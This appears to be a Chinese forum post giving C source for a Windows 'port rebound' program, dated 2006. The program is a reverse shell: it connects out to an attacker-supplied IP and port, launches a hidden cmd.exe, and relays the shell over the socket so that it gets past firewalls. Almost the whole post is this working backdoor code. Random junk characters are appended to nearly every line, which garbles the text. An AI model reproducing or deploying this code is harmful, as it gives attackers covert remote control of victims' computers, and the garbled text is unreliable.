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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0\AYUa?RM  
31|Vb  
/* ============================== I\sCH  
Rebound port in Windows NT (r,RwWYm  
By wind,2006/7 #jV6w=I  
===============================*/ Mi\f?  
#include apUV6h-v  
#include mp~\ioI*d  
ushQWP)  
#pragma comment(lib,"wsock32.lib") $Q|66/S^  
Nuk\8C  
void OutputShell(); &^th KXEC  
SOCKET sClient; ]?U:8%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J$PE7*NU  
muQ7sJ9 r  
void main(int argc,char **argv) ;w?zmj<Dm  
{ =5_8f  
WSADATA stWsaData; 7/(C1II.Q  
int nRet; u~?]/-.TY  
SOCKADDR_IN stSaiClient,stSaiServer; <;x+ ?j  
dL")E|\\k  
if(argc != 3) K:P gkc  
{ bTKzwNx  
printf("Useage:\n\rRebound DestIP DestPort\n"); '<m[  
return; 9Dd/g7  
} A 20_a;V  
.+aSa?h_  
WSAStartup(MAKEWORD(2,2),&stWsaData); _'Q}Y nEv  
0;OpT0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?S!lX[#v  
F1?@tcr'  
stSaiClient.sin_family = AF_INET; Vm&fw".J  
stSaiClient.sin_port = htons(0); z@VY s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A1\;6W:  
SR~~rD|V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  ~J"*ahl  
{ GVY_u@6   
printf("Bind Socket Failed!\n"); ~9]tt\jN*Y  
return; eUqsvF}l!  
} &cDnZ3Q;  
pz?.(AmU\  
stSaiServer.sin_family = AF_INET; Q=~e|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Oa7`Y`6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L4S Fu.J'  
2NsI3M4$8  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (a`z:dz}  
{ k  `.-PU  
printf("Connect Error!"); M&@9B)|=  
return; Abce]-E  
} [ OMcSd|nf  
OutputShell(); 34]f[jJ|  
} nb22b Xt  
n7X3aoVV  
void OutputShell() ?mRU9VY  
{ 'fcJ]%-=  
char szBuff[1024]; Pp3tEZfE  
SECURITY_ATTRIBUTES stSecurityAttributes; if:2sS9r  
OSVERSIONINFO stOsversionInfo; i/oaKpPN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ksm=<I"C  
STARTUPINFO stStartupInfo; EEn}Gw  
char *szShell; ~|Gtm[9Ru  
PROCESS_INFORMATION stProcessInformation; !=cW+=1  
unsigned long lBytesRead; jbC7U9t7  
HnioB=fc  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O|%><I?I  
~b8U#'KD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z7{b>oub('  
stSecurityAttributes.lpSecurityDescriptor = 0; r6 ,5&`&  
stSecurityAttributes.bInheritHandle = TRUE; 8Z/P<u  
4<Bj;1*4  
kHX- AsRc  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t 7;V`[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L4}C%c\p*  
,+,""t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b V;R}3)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O>|Q Zd  
stStartupInfo.wShowWindow = SW_HIDE; Q?7U iTZ  
stStartupInfo.hStdInput = hReadPipe; SMqJMirR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3boINmX  
+Medu?K `  
GetVersionEx(&stOsversionInfo); |nz,srr~  
Gnj|y?'  
switch(stOsversionInfo.dwPlatformId) D19uI&U4  
{ lXW.G  
case 1: WZ@nuK.39T  
szShell = "command.com"; #\@*C=  
break; ./[%%"  
default: cRT@Cu  
szShell = "cmd.exe"; 2@:Go`mg  
break; 5"^$3&)  
} l5D8DvJCj  
#Cvjv; QwY  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bz9!a k~4  
JL`n12$m  
send(sClient,szMsg,77,0); *8,]fBUq  
while(1) noOG$P#  
{ @\z2FJ79w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bb+-R_3Kd  
if(lBytesRead) !4]w b!F  
{  yYp!s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q*?LXKi  
send(sClient,szBuff,lBytesRead,0); /u*((AJ?Qv  
} ggJn oL  
else O|?>rK  
{ ~F+{P4%`<  
lBytesRead=recv(sClient,szBuff,1024,0); vUvIZa  
if(lBytesRead<=0) break; aJOhji<b#L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MY4cMMjp~  
} [[Qu|?KEa  
} =d.Z:L9d  
{ >bw:^F  
return; V ;1$FNR   
}
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